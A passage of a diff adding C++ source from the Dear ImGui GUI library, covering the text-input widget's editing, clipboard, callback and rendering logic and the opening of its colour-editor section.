being swapped), clear id immediately (don't wait until the end of the function) + if (g.ActiveId == id && state == NULL) + ClearActiveID(); + + // Release focus when we click outside + if (g.ActiveId == id && io.MouseClicked[0] && !init_state && !init_make_active) //-V560 + clear_active_id = true; + + // Lock the decision of whether we are going to take the path displaying the cursor or selection + const bool render_cursor = (g.ActiveId == id) || (state && user_scroll_active); + bool render_selection = state && state->HasSelection() && (RENDER_SELECTION_WHEN_INACTIVE || render_cursor); + bool value_changed = false; + bool enter_pressed = false; + + // When read-only we always use the live data passed to the function + // FIXME-OPT: Because our selection/cursor code currently needs the wide text we need to convert it when active, which is not ideal :( + if (is_readonly && state != NULL && (render_cursor || render_selection)) + { + const char* buf_end = NULL; + state->TextW.resize(buf_size + 1); + state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, state->TextW.Size, buf, NULL, &buf_end); + state->CurLenA = (int)(buf_end - buf); + state->CursorClamp(); + render_selection &= state->HasSelection(); + } + + // Select the buffer to render. + const bool buf_display_from_state = (render_cursor || render_selection || g.ActiveId == id) && !is_readonly && state && state->TextAIsValid; + const bool is_displaying_hint = (hint != NULL && (buf_display_from_state ? state->TextA.Data : buf)[0] == 0); + + // Password pushes a temporary font with only a fallback glyph + if (is_password && !is_displaying_hint) + { + const ImFontGlyph* glyph = g.Font->FindGlyph('*'); + ImFont* password_font = &g.InputTextPasswordFont; + password_font->FontSize = g.Font->FontSize; + password_font->Scale = g.Font->Scale; + password_font->Ascent = g.Font->Ascent; + password_font->Descent = g.Font->Descent; + password_font->ContainerAtlas = g.Font->ContainerAtlas; + password_font->FallbackGlyph = glyph; + password_font->FallbackAdvanceX = glyph->AdvanceX; + IM_ASSERT(password_font->Glyphs.empty() && password_font->IndexAdvanceX.empty() && password_font->IndexLookup.empty()); + PushFont(password_font); + } + + // Process mouse inputs and character inputs + int backup_current_text_length = 0; + if (g.ActiveId == id) + { + IM_ASSERT(state != NULL); + backup_current_text_length = state->CurLenA; + state->Edited = false; + state->BufCapacityA = buf_size; + state->UserFlags = flags; + state->UserCallback = callback; + state->UserCallbackData = callback_user_data; + + // Although we are active we don't prevent mouse from hovering other elements unless we are interacting right now with the widget. + // Down the line we should have a cleaner library-wide concept of Selected vs Active. + g.ActiveIdAllowOverlap = !io.MouseDown[0]; + g.WantTextInputNextFrame = 1; + + // Edit in progress + const float mouse_x = (io.MousePos.x - frame_bb.Min.x - style.FramePadding.x) + state->ScrollX; + const float mouse_y = (is_multiline ? (io.MousePos.y - draw_window->DC.CursorPos.y - style.FramePadding.y) : (g.FontSize * 0.5f)); + + const bool is_osx = io.ConfigMacOSXBehaviors; + if (select_all || (hovered && !is_osx && io.MouseDoubleClicked[0])) + { + state->SelectAll(); + state->SelectedAllMouseLock = true; + } + else if (hovered && is_osx && io.MouseDoubleClicked[0]) + { + // Double-click select a word only, OS X style (by simulating keystrokes) + state->OnKeyPressed(STB_TEXTEDIT_K_WORDLEFT); + state->OnKeyPressed(STB_TEXTEDIT_K_WORDRIGHT | STB_TEXTEDIT_K_SHIFT); + } + else if (io.MouseClicked[0] && !state->SelectedAllMouseLock) + { + if (hovered) + { + stb_textedit_click(state, &state->Stb, mouse_x, mouse_y); + state->CursorAnimReset(); + } + } + else if (io.MouseDown[0] && !state->SelectedAllMouseLock && (io.MouseDelta.x != 0.0f || io.MouseDelta.y != 0.0f)) + { + stb_textedit_drag(state, &state->Stb, mouse_x, mouse_y); + state->CursorAnimReset(); + state->CursorFollow = true; + } + if (state->SelectedAllMouseLock && !io.MouseDown[0]) + state->SelectedAllMouseLock = false; + + // It is ill-defined whether the backend needs to send a \t character when pressing the TAB keys. + // Win32 and GLFW naturally do it but not SDL. + const bool ignore_char_inputs = (io.KeyCtrl && !io.KeyAlt) || (is_osx && io.KeySuper); + if ((flags & ImGuiInputTextFlags_AllowTabInput) && IsKeyPressedMap(ImGuiKey_Tab) && !ignore_char_inputs && !io.KeyShift && !is_readonly) + if (!io.InputQueueCharacters.contains('\t')) + { + unsigned int c = '\t'; // Insert TAB + if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) + state->OnKeyPressed((int)c); + } + + // Process regular text input (before we check for Return because using some IME will effectively send a Return?) + // We ignore CTRL inputs, but need to allow ALT+CTRL as some keyboards (e.g. German) use AltGR (which _is_ Alt+Ctrl) to input certain characters. + if (io.InputQueueCharacters.Size > 0) + { + if (!ignore_char_inputs && !is_readonly && !user_nav_input_start) + for (int n = 0; n < io.InputQueueCharacters.Size; n++) + { + // Insert character if they pass filtering + unsigned int c = (unsigned int)io.InputQueueCharacters[n]; + if (c == '\t' && io.KeyShift) + continue; + if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) + state->OnKeyPressed((int)c); + } + + // Consume characters + io.InputQueueCharacters.resize(0); + } + } + + // Process other shortcuts/key-presses + bool cancel_edit = false; + if (g.ActiveId == id && !g.ActiveIdIsJustActivated && !clear_active_id) + { + IM_ASSERT(state != NULL); + IM_ASSERT(io.KeyMods == GetMergedKeyModFlags() && "Mismatching io.KeyCtrl/io.KeyShift/io.KeyAlt/io.KeySuper vs io.KeyMods"); // We rarely do this check, but if anything let's do it here. + + const int row_count_per_page = ImMax((int)((inner_size.y - style.FramePadding.y) / g.FontSize), 1); + state->Stb.row_count_per_page = row_count_per_page; + + const int k_mask = (io.KeyShift ? STB_TEXTEDIT_K_SHIFT : 0); + const bool is_osx = io.ConfigMacOSXBehaviors; + const bool is_osx_shift_shortcut = is_osx && (io.KeyMods == (ImGuiKeyModFlags_Super | ImGuiKeyModFlags_Shift)); + const bool is_wordmove_key_down = is_osx ? io.KeyAlt : io.KeyCtrl; // OS X style: Text editing cursor movement using Alt instead of Ctrl + const bool is_startend_key_down = is_osx && io.KeySuper && !io.KeyCtrl && !io.KeyAlt; // OS X style: Line/Text Start and End using Cmd+Arrows instead of Home/End + const bool is_ctrl_key_only = (io.KeyMods == ImGuiKeyModFlags_Ctrl); + const bool is_shift_key_only = (io.KeyMods == ImGuiKeyModFlags_Shift); + const bool is_shortcut_key = g.IO.ConfigMacOSXBehaviors ? (io.KeyMods == ImGuiKeyModFlags_Super) : (io.KeyMods == ImGuiKeyModFlags_Ctrl); + + const bool is_cut = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_X)) || (is_shift_key_only && IsKeyPressedMap(ImGuiKey_Delete))) && !is_readonly && !is_password && (!is_multiline || state->HasSelection()); + const bool is_copy = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_C)) || (is_ctrl_key_only && IsKeyPressedMap(ImGuiKey_Insert))) && !is_password && (!is_multiline || state->HasSelection()); + const bool is_paste = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_V)) || (is_shift_key_only && IsKeyPressedMap(ImGuiKey_Insert))) && !is_readonly; + const bool is_undo = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_Z)) && !is_readonly && is_undoable); + const bool is_redo = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_Y)) || (is_osx_shift_shortcut && IsKeyPressedMap(ImGuiKey_Z))) && !is_readonly && is_undoable; + + if (IsKeyPressedMap(ImGuiKey_LeftArrow)) { state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_LINESTART : is_wordmove_key_down ? STB_TEXTEDIT_K_WORDLEFT : STB_TEXTEDIT_K_LEFT) | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_RightArrow)) { state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_LINEEND : is_wordmove_key_down ? STB_TEXTEDIT_K_WORDRIGHT : STB_TEXTEDIT_K_RIGHT) | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_UpArrow) && is_multiline) { if (io.KeyCtrl) SetScrollY(draw_window, ImMax(draw_window->Scroll.y - g.FontSize, 0.0f)); else state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_TEXTSTART : STB_TEXTEDIT_K_UP) | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_DownArrow) && is_multiline) { if (io.KeyCtrl) SetScrollY(draw_window, ImMin(draw_window->Scroll.y + g.FontSize, GetScrollMaxY())); else state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_TEXTEND : STB_TEXTEDIT_K_DOWN) | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_PageUp) && is_multiline) { state->OnKeyPressed(STB_TEXTEDIT_K_PGUP | k_mask); scroll_y -= row_count_per_page * g.FontSize; } + else if (IsKeyPressedMap(ImGuiKey_PageDown) && is_multiline) { state->OnKeyPressed(STB_TEXTEDIT_K_PGDOWN | k_mask); scroll_y += row_count_per_page * g.FontSize; } + else if (IsKeyPressedMap(ImGuiKey_Home)) { state->OnKeyPressed(io.KeyCtrl ? STB_TEXTEDIT_K_TEXTSTART | k_mask : STB_TEXTEDIT_K_LINESTART | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_End)) { state->OnKeyPressed(io.KeyCtrl ? STB_TEXTEDIT_K_TEXTEND | k_mask : STB_TEXTEDIT_K_LINEEND | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_Delete) && !is_readonly) { state->OnKeyPressed(STB_TEXTEDIT_K_DELETE | k_mask); } + else if (IsKeyPressedMap(ImGuiKey_Backspace) && !is_readonly) + { + if (!state->HasSelection()) + { + if (is_wordmove_key_down) + state->OnKeyPressed(STB_TEXTEDIT_K_WORDLEFT | STB_TEXTEDIT_K_SHIFT); + else if (is_osx && io.KeySuper && !io.KeyAlt && !io.KeyCtrl) + state->OnKeyPressed(STB_TEXTEDIT_K_LINESTART | STB_TEXTEDIT_K_SHIFT); + } + state->OnKeyPressed(STB_TEXTEDIT_K_BACKSPACE | k_mask); + } + else if (IsKeyPressedMap(ImGuiKey_Enter) || IsKeyPressedMap(ImGuiKey_KeyPadEnter)) + { + bool ctrl_enter_for_new_line = (flags & ImGuiInputTextFlags_CtrlEnterForNewLine) != 0; + if (!is_multiline || (ctrl_enter_for_new_line && !io.KeyCtrl) || (!ctrl_enter_for_new_line && io.KeyCtrl)) + { + enter_pressed = clear_active_id = true; + } + else if (!is_readonly) + { + unsigned int c = '\n'; // Insert new line + if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) + state->OnKeyPressed((int)c); + } + } + else if (IsKeyPressedMap(ImGuiKey_Escape)) + { + clear_active_id = cancel_edit = true; + } + else if (is_undo || is_redo) + { + state->OnKeyPressed(is_undo ? STB_TEXTEDIT_K_UNDO : STB_TEXTEDIT_K_REDO); + state->ClearSelection(); + } + else if (is_shortcut_key && IsKeyPressedMap(ImGuiKey_A)) + { + state->SelectAll(); + state->CursorFollow = true; + } + else if (is_cut || is_copy) + { + // Cut, Copy + if (io.SetClipboardTextFn) + { + const int ib = state->HasSelection() ? ImMin(state->Stb.select_start, state->Stb.select_end) : 0; + const int ie = state->HasSelection() ? ImMax(state->Stb.select_start, state->Stb.select_end) : state->CurLenW; + const int clipboard_data_len = ImTextCountUtf8BytesFromStr(state->TextW.Data + ib, state->TextW.Data + ie) + 1; + char* clipboard_data = (char*)IM_ALLOC(clipboard_data_len * sizeof(char)); + ImTextStrToUtf8(clipboard_data, clipboard_data_len, state->TextW.Data + ib, state->TextW.Data + ie); + SetClipboardText(clipboard_data); + MemFree(clipboard_data); + } + if (is_cut) + { + if (!state->HasSelection()) + state->SelectAll(); + state->CursorFollow = true; + stb_textedit_cut(state, &state->Stb); + } + } + else if (is_paste) + { + if (const char* clipboard = GetClipboardText()) + { + // Filter pasted buffer + const int clipboard_len = (int)strlen(clipboard); + ImWchar* clipboard_filtered = (ImWchar*)IM_ALLOC((clipboard_len + 1) * sizeof(ImWchar)); + int clipboard_filtered_len = 0; + for (const char* s = clipboard; *s; ) + { + unsigned int c; + s += ImTextCharFromUtf8(&c, s, NULL); + if (c == 0) + break; + if (!InputTextFilterCharacter(&c, flags, callback, callback_user_data)) + continue; + clipboard_filtered[clipboard_filtered_len++] = (ImWchar)c; + } + clipboard_filtered[clipboard_filtered_len] = 0; + if (clipboard_filtered_len > 0) // If everything was filtered, ignore the pasting operation + { + stb_textedit_paste(state, &state->Stb, clipboard_filtered, clipboard_filtered_len); + state->CursorFollow = true; + } + MemFree(clipboard_filtered); + } + } + + // Update render selection flag after events have been handled, so selection highlight can be displayed during the same frame. + render_selection |= state->HasSelection() && (RENDER_SELECTION_WHEN_INACTIVE || render_cursor); + } + + // Process callbacks and apply result back to user's buffer. + if (g.ActiveId == id) + { + IM_ASSERT(state != NULL); + const char* apply_new_text = NULL; + int apply_new_text_length = 0; + if (cancel_edit) + { + // Restore initial value. Only return true if restoring to the initial value changes the current buffer contents. + if (!is_readonly && strcmp(buf, state->InitialTextA.Data) != 0) + { + // Push records into the undo stack so we can CTRL+Z the revert operation itself + apply_new_text = state->InitialTextA.Data; + apply_new_text_length = state->InitialTextA.Size - 1; + ImVector w_text; + if (apply_new_text_length > 0) + { + w_text.resize(ImTextCountCharsFromUtf8(apply_new_text, apply_new_text + apply_new_text_length) + 1); + ImTextStrFromUtf8(w_text.Data, w_text.Size, apply_new_text, apply_new_text + apply_new_text_length); + } + stb_textedit_replace(state, &state->Stb, w_text.Data, (apply_new_text_length > 0) ? (w_text.Size - 1) : 0); + } + } + + // When using 'ImGuiInputTextFlags_EnterReturnsTrue' as a special case we reapply the live buffer back to the input buffer before clearing ActiveId, even though strictly speaking it wasn't modified on this frame. + // If we didn't do that, code like InputInt() with ImGuiInputTextFlags_EnterReturnsTrue would fail. + // This also allows the user to use InputText() with ImGuiInputTextFlags_EnterReturnsTrue without maintaining any user-side storage (please note that if you use this property along ImGuiInputTextFlags_CallbackResize you can end up with your temporary string object unnecessarily allocating once a frame, either store your string data, either if you don't then don't use ImGuiInputTextFlags_CallbackResize). + bool apply_edit_back_to_user_buffer = !cancel_edit || (enter_pressed && (flags & ImGuiInputTextFlags_EnterReturnsTrue) != 0); + if (apply_edit_back_to_user_buffer) + { + // Apply new value immediately - copy modified buffer back + // Note that as soon as the input box is active, the in-widget value gets priority over any underlying modification of the input buffer + // FIXME: We actually always render 'buf' when calling DrawList->AddText, making the comment above incorrect. + // FIXME-OPT: CPU waste to do this every time the widget is active, should mark dirty state from the stb_textedit callbacks. + if (!is_readonly) + { + state->TextAIsValid = true; + state->TextA.resize(state->TextW.Size * 4 + 1); + ImTextStrToUtf8(state->TextA.Data, state->TextA.Size, state->TextW.Data, NULL); + } + + // User callback + if ((flags & (ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_CallbackHistory | ImGuiInputTextFlags_CallbackEdit | ImGuiInputTextFlags_CallbackAlways)) != 0) + { + IM_ASSERT(callback != NULL); + + // The reason we specify the usage semantic (Completion/History) is that Completion needs to disable keyboard TABBING at the moment. + ImGuiInputTextFlags event_flag = 0; + ImGuiKey event_key = ImGuiKey_COUNT; + if ((flags & ImGuiInputTextFlags_CallbackCompletion) != 0 && IsKeyPressedMap(ImGuiKey_Tab)) + { + event_flag = ImGuiInputTextFlags_CallbackCompletion; + event_key = ImGuiKey_Tab; + } + else if ((flags & ImGuiInputTextFlags_CallbackHistory) != 0 && IsKeyPressedMap(ImGuiKey_UpArrow)) + { + event_flag = ImGuiInputTextFlags_CallbackHistory; + event_key = ImGuiKey_UpArrow; + } + else if ((flags & ImGuiInputTextFlags_CallbackHistory) != 0 && IsKeyPressedMap(ImGuiKey_DownArrow)) + { + event_flag = ImGuiInputTextFlags_CallbackHistory; + event_key = ImGuiKey_DownArrow; + } + else if ((flags & ImGuiInputTextFlags_CallbackEdit) && state->Edited) + { + event_flag = ImGuiInputTextFlags_CallbackEdit; + } + else if (flags & ImGuiInputTextFlags_CallbackAlways) + { + event_flag = ImGuiInputTextFlags_CallbackAlways; + } + + if (event_flag) + { + ImGuiInputTextCallbackData callback_data; + memset(&callback_data, 0, sizeof(ImGuiInputTextCallbackData)); + callback_data.EventFlag = event_flag; + callback_data.Flags = flags; + callback_data.UserData = callback_user_data; + + callback_data.EventKey = event_key; + callback_data.Buf = state->TextA.Data; + callback_data.BufTextLen = state->CurLenA; + callback_data.BufSize = state->BufCapacityA; + callback_data.BufDirty = false; + + // We have to convert from wchar-positions to UTF-8-positions, which can be pretty slow (an incentive to ditch the ImWchar buffer, see https://github.com/nothings/stb/issues/188) + ImWchar* text = state->TextW.Data; + const int utf8_cursor_pos = callback_data.CursorPos = ImTextCountUtf8BytesFromStr(text, text + state->Stb.cursor); + const int utf8_selection_start = callback_data.SelectionStart = ImTextCountUtf8BytesFromStr(text, text + state->Stb.select_start); + const int utf8_selection_end = callback_data.SelectionEnd = ImTextCountUtf8BytesFromStr(text, text + state->Stb.select_end); + + // Call user code + callback(&callback_data); + + // Read back what user may have modified + IM_ASSERT(callback_data.Buf == state->TextA.Data); // Invalid to modify those fields + IM_ASSERT(callback_data.BufSize == state->BufCapacityA); + IM_ASSERT(callback_data.Flags == flags); + const bool buf_dirty = callback_data.BufDirty; + if (callback_data.CursorPos != utf8_cursor_pos || buf_dirty) { state->Stb.cursor = ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.CursorPos); state->CursorFollow = true; } + if (callback_data.SelectionStart != utf8_selection_start || buf_dirty) { state->Stb.select_start = (callback_data.SelectionStart == callback_data.CursorPos) ? state->Stb.cursor : ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.SelectionStart); } + if (callback_data.SelectionEnd != utf8_selection_end || buf_dirty) { state->Stb.select_end = (callback_data.SelectionEnd == callback_data.SelectionStart) ? state->Stb.select_start : ImTextCountCharsFromUtf8(callback_data.Buf, callback_data.Buf + callback_data.SelectionEnd); } + if (buf_dirty) + { + IM_ASSERT(callback_data.BufTextLen == (int)strlen(callback_data.Buf)); // You need to maintain BufTextLen if you change the text! + if (callback_data.BufTextLen > backup_current_text_length && is_resizable) + state->TextW.resize(state->TextW.Size + (callback_data.BufTextLen - backup_current_text_length)); + state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, state->TextW.Size, callback_data.Buf, NULL); + state->CurLenA = callback_data.BufTextLen; // Assume correct length and valid UTF-8 from user, saves us an extra strlen() + state->CursorAnimReset(); + } + } + } + + // Will copy result string if modified + if (!is_readonly && strcmp(state->TextA.Data, buf) != 0) + { + apply_new_text = state->TextA.Data; + apply_new_text_length = state->CurLenA; + } + } + + // Copy result to user buffer + if (apply_new_text) + { + // We cannot test for 'backup_current_text_length != apply_new_text_length' here because we have no guarantee that the size + // of our owned buffer matches the size of the string object held by the user, and by design we allow InputText() to be used + // without any storage on user's side. + IM_ASSERT(apply_new_text_length >= 0); + if (is_resizable) + { + ImGuiInputTextCallbackData callback_data; + callback_data.EventFlag = ImGuiInputTextFlags_CallbackResize; + callback_data.Flags = flags; + callback_data.Buf = buf; + callback_data.BufTextLen = apply_new_text_length; + callback_data.BufSize = ImMax(buf_size, apply_new_text_length + 1); + callback_data.UserData = callback_user_data; + callback(&callback_data); + buf = callback_data.Buf; + buf_size = callback_data.BufSize; + apply_new_text_length = ImMin(callback_data.BufTextLen, buf_size - 1); + IM_ASSERT(apply_new_text_length <= buf_size); + } + //IMGUI_DEBUG_LOG("InputText(\"%s\"): apply_new_text length %d\n", label, apply_new_text_length); + + // If the underlying buffer resize was denied or not carried to the next frame, apply_new_text_length+1 may be >= buf_size. + ImStrncpy(buf, apply_new_text, ImMin(apply_new_text_length + 1, buf_size)); + value_changed = true; + } + + // Clear temporary user storage + state->UserFlags = 0; + state->UserCallback = NULL; + state->UserCallbackData = NULL; + } + + // Release active ID at the end of the function (so e.g. pressing Return still does a final application of the value) + if (clear_active_id && g.ActiveId == id) + ClearActiveID(); + + // Render frame + if (!is_multiline) + { + RenderNavHighlight(frame_bb, id); + RenderFrame(frame_bb.Min, frame_bb.Max, GetColorU32(ImGuiCol_FrameBg), true, style.FrameRounding); + } + + const ImVec4 clip_rect(frame_bb.Min.x, frame_bb.Min.y, frame_bb.Min.x + inner_size.x, frame_bb.Min.y + inner_size.y); // Not using frame_bb.Max because we have adjusted size + ImVec2 draw_pos = is_multiline ? draw_window->DC.CursorPos : frame_bb.Min + style.FramePadding; + ImVec2 text_size(0.0f, 0.0f); + + // Set upper limit of single-line InputTextEx() at 2 million characters strings. The current pathological worst case is a long line + // without any carriage return, which would makes ImFont::RenderText() reserve too many vertices and probably crash. Avoid it altogether. + // Note that we only use this limit on single-line InputText(), so a pathologically large line on a InputTextMultiline() would still crash. + const int buf_display_max_length = 2 * 1024 * 1024; + const char* buf_display = buf_display_from_state ? state->TextA.Data : buf; //-V595 + const char* buf_display_end = NULL; // We have specialized paths below for setting the length + if (is_displaying_hint) + { + buf_display = hint; + buf_display_end = hint + strlen(hint); + } + + // Render text. We currently only render selection when the widget is active or while scrolling. + // FIXME: We could remove the '&& render_cursor' to keep rendering selection when inactive. + if (render_cursor || render_selection) + { + IM_ASSERT(state != NULL); + if (!is_displaying_hint) + buf_display_end = buf_display + state->CurLenA; + + // Render text (with cursor and selection) + // This is going to be messy. We need to: + // - Display the text (this alone can be more easily clipped) + // - Handle scrolling, highlight selection, display cursor (those all requires some form of 1d->2d cursor position calculation) + // - Measure text height (for scrollbar) + // We are attempting to do most of that in **one main pass** to minimize the computation cost (non-negligible for large amount of text) + 2nd pass for selection rendering (we could merge them by an extra refactoring effort) + // FIXME: This should occur on buf_display but we'd need to maintain cursor/select_start/select_end for UTF-8. + const ImWchar* text_begin = state->TextW.Data; + ImVec2 cursor_offset, select_start_offset; + + { + // Find lines numbers straddling 'cursor' (slot 0) and 'select_start' (slot 1) positions. + const ImWchar* searches_input_ptr[2] = { NULL, NULL }; + int searches_result_line_no[2] = { -1000, -1000 }; + int searches_remaining = 0; + if (render_cursor) + { + searches_input_ptr[0] = text_begin + state->Stb.cursor; + searches_result_line_no[0] = -1; + searches_remaining++; + } + if (render_selection) + { + searches_input_ptr[1] = text_begin + ImMin(state->Stb.select_start, state->Stb.select_end); + searches_result_line_no[1] = -1; + searches_remaining++; + } + + // Iterate all lines to find our line numbers + // In multi-line mode, we never exit the loop until all lines are counted, so add one extra to the searches_remaining counter. + searches_remaining += is_multiline ? 1 : 0; + int line_count = 0; + //for (const ImWchar* s = text_begin; (s = (const ImWchar*)wcschr((const wchar_t*)s, (wchar_t)'\n')) != NULL; s++) // FIXME-OPT: Could use this when wchar_t are 16-bit + for (const ImWchar* s = text_begin; *s != 0; s++) + if (*s == '\n') + { + line_count++; + if (searches_result_line_no[0] == -1 && s >= searches_input_ptr[0]) { searches_result_line_no[0] = line_count; if (--searches_remaining <= 0) break; } + if (searches_result_line_no[1] == -1 && s >= searches_input_ptr[1]) { searches_result_line_no[1] = line_count; if (--searches_remaining <= 0) break; } + } + line_count++; + if (searches_result_line_no[0] == -1) + searches_result_line_no[0] = line_count; + if (searches_result_line_no[1] == -1) + searches_result_line_no[1] = line_count; + + // Calculate 2d position by finding the beginning of the line and measuring distance + cursor_offset.x = InputTextCalcTextSizeW(ImStrbolW(searches_input_ptr[0], text_begin), searches_input_ptr[0]).x; + cursor_offset.y = searches_result_line_no[0] * g.FontSize; + if (searches_result_line_no[1] >= 0) + { + select_start_offset.x = InputTextCalcTextSizeW(ImStrbolW(searches_input_ptr[1], text_begin), searches_input_ptr[1]).x; + select_start_offset.y = searches_result_line_no[1] * g.FontSize; + } + + // Store text height (note that we haven't calculated text width at all, see GitHub issues #383, #1224) + if (is_multiline) + text_size = ImVec2(inner_size.x, line_count * g.FontSize); + } + + // Scroll + if (render_cursor && state->CursorFollow) + { + // Horizontal scroll in chunks of quarter width + if (!(flags & ImGuiInputTextFlags_NoHorizontalScroll)) + { + const float scroll_increment_x = inner_size.x * 0.25f; + if (cursor_offset.x < state->ScrollX) + state->ScrollX = IM_FLOOR(ImMax(0.0f, cursor_offset.x - scroll_increment_x)); + else if (cursor_offset.x - inner_size.x >= state->ScrollX) + state->ScrollX = IM_FLOOR(cursor_offset.x - inner_size.x + scroll_increment_x); + } + else + { + state->ScrollX = 0.0f; + } + + // Vertical scroll + if (is_multiline) + { + // Test if cursor is vertically visible + if (cursor_offset.y - g.FontSize < scroll_y) + scroll_y = ImMax(0.0f, cursor_offset.y - g.FontSize); + else if (cursor_offset.y - inner_size.y >= scroll_y) + scroll_y = cursor_offset.y - inner_size.y + style.FramePadding.y * 2.0f; + const float scroll_max_y = ImMax((text_size.y + style.FramePadding.y * 2.0f) - inner_size.y, 0.0f); + scroll_y = ImClamp(scroll_y, 0.0f, scroll_max_y); + draw_pos.y += (draw_window->Scroll.y - scroll_y); // Manipulate cursor pos immediately avoid a frame of lag + draw_window->Scroll.y = scroll_y; + } + + state->CursorFollow = false; + } + + // Draw selection + const ImVec2 draw_scroll = ImVec2(state->ScrollX, 0.0f); + if (render_selection) + { + const ImWchar* text_selected_begin = text_begin + ImMin(state->Stb.select_start, state->Stb.select_end); + const ImWchar* text_selected_end = text_begin + ImMax(state->Stb.select_start, state->Stb.select_end); + + ImU32 bg_color = GetColorU32(ImGuiCol_TextSelectedBg, render_cursor ? 1.0f : 0.6f); // FIXME: current code flow mandate that render_cursor is always true here, we are leaving the transparent one for tests. + float bg_offy_up = is_multiline ? 0.0f : -1.0f; // FIXME: those offsets should be part of the style? they don't play so well with multi-line selection. + float bg_offy_dn = is_multiline ? 0.0f : 2.0f; + ImVec2 rect_pos = draw_pos + select_start_offset - draw_scroll; + for (const ImWchar* p = text_selected_begin; p < text_selected_end; ) + { + if (rect_pos.y > clip_rect.w + g.FontSize) + break; + if (rect_pos.y < clip_rect.y) + { + //p = (const ImWchar*)wmemchr((const wchar_t*)p, '\n', text_selected_end - p); // FIXME-OPT: Could use this when wchar_t are 16-bit + //p = p ? p + 1 : text_selected_end; + while (p < text_selected_end) + if (*p++ == '\n') + break; + } + else + { + ImVec2 rect_size = InputTextCalcTextSizeW(p, text_selected_end, &p, NULL, true); + if (rect_size.x <= 0.0f) rect_size.x = IM_FLOOR(g.Font->GetCharAdvance((ImWchar)' ') * 0.50f); // So we can see selected empty lines + ImRect rect(rect_pos + ImVec2(0.0f, bg_offy_up - g.FontSize), rect_pos + ImVec2(rect_size.x, bg_offy_dn)); + rect.ClipWith(clip_rect); + if (rect.Overlaps(clip_rect)) + draw_window->DrawList->AddRectFilled(rect.Min, rect.Max, bg_color); + } + rect_pos.x = draw_pos.x - draw_scroll.x; + rect_pos.y += g.FontSize; + } + } + + // We test for 'buf_display_max_length' as a way to avoid some pathological cases (e.g. single-line 1 MB string) which would make ImDrawList crash. + if (is_multiline || (buf_display_end - buf_display) < buf_display_max_length) + { + ImU32 col = GetColorU32(is_displaying_hint ? ImGuiCol_TextDisabled : ImGuiCol_Text); + draw_window->DrawList->AddText(g.Font, g.FontSize, draw_pos - draw_scroll, col, buf_display, buf_display_end, 0.0f, is_multiline ? NULL : &clip_rect); + } + + // Draw blinking cursor + if (render_cursor) + { + state->CursorAnim += io.DeltaTime; + bool cursor_is_visible = (!g.IO.ConfigInputTextCursorBlink) || (state->CursorAnim <= 0.0f) || ImFmod(state->CursorAnim, 1.20f) <= 0.80f; + ImVec2 cursor_screen_pos = draw_pos + cursor_offset - draw_scroll; + ImRect cursor_screen_rect(cursor_screen_pos.x, cursor_screen_pos.y - g.FontSize + 0.5f, cursor_screen_pos.x + 1.0f, cursor_screen_pos.y - 1.5f); + if (cursor_is_visible && cursor_screen_rect.Overlaps(clip_rect)) + draw_window->DrawList->AddLine(cursor_screen_rect.Min, cursor_screen_rect.GetBL(), GetColorU32(ImGuiCol_Text)); + + // Notify OS of text input position for advanced IME (-1 x offset so that Windows IME can cover our cursor. Bit of an extra nicety.) + if (!is_readonly) + g.PlatformImePos = ImVec2(cursor_screen_pos.x - 1.0f, cursor_screen_pos.y - g.FontSize); + } + } + else + { + // Render text only (no selection, no cursor) + if (is_multiline) + text_size = ImVec2(inner_size.x, InputTextCalcTextLenAndLineCount(buf_display, &buf_display_end) * g.FontSize); // We don't need width + else if (!is_displaying_hint && g.ActiveId == id) + buf_display_end = buf_display + state->CurLenA; + else if (!is_displaying_hint) + buf_display_end = buf_display + strlen(buf_display); + + if (is_multiline || (buf_display_end - buf_display) < buf_display_max_length) + { + ImU32 col = GetColorU32(is_displaying_hint ? ImGuiCol_TextDisabled : ImGuiCol_Text); + draw_window->DrawList->AddText(g.Font, g.FontSize, draw_pos, col, buf_display, buf_display_end, 0.0f, is_multiline ? NULL : &clip_rect); + } + } + + if (is_password && !is_displaying_hint) + PopFont(); + + if (is_multiline) + { + Dummy(text_size); + EndChild(); + EndGroup(); + } + + // Log as text + if (g.LogEnabled && (!is_password || is_displaying_hint)) + LogRenderedText(&draw_pos, buf_display, buf_display_end); + + if (label_size.x > 0) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + if (value_changed && !(flags & ImGuiInputTextFlags_NoMarkEdited)) + MarkItemEdited(id); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + if ((flags & ImGuiInputTextFlags_EnterReturnsTrue) != 0) + return enter_pressed; + else + return value_changed; +} + +//------------------------------------------------------------------------- +// [SECTION] Widgets: ColorEdit, ColorPicker, ColorButton, etc. +//------------------------------------------------------------------------- +// - ColorEdit3() +// - ColorEdit4() +// - ColorPicker3() +// - RenderColorRectWithAlphaCheckerboard() [Internal] +// - ColorPicker4() +// - ColorButton() +// - SetColorEditOptions() +// - ColorTooltip() [Internal] +// - ColorEditOptionsPopup() [Internal] +// - ColorPickerOptionsPopup() [Internal] +//------------------------------------------------------------------------- + +bool ImGui::ColorEdit3(const char* label, float col[3], ImGuiColorEditFlags flags) +{ + return ColorEdit4(label, col, flags | ImGuiColorEditFlags_NoAlpha); +} + +// Edit colors components (each component in 0.0f..1.0f range). +// See enum 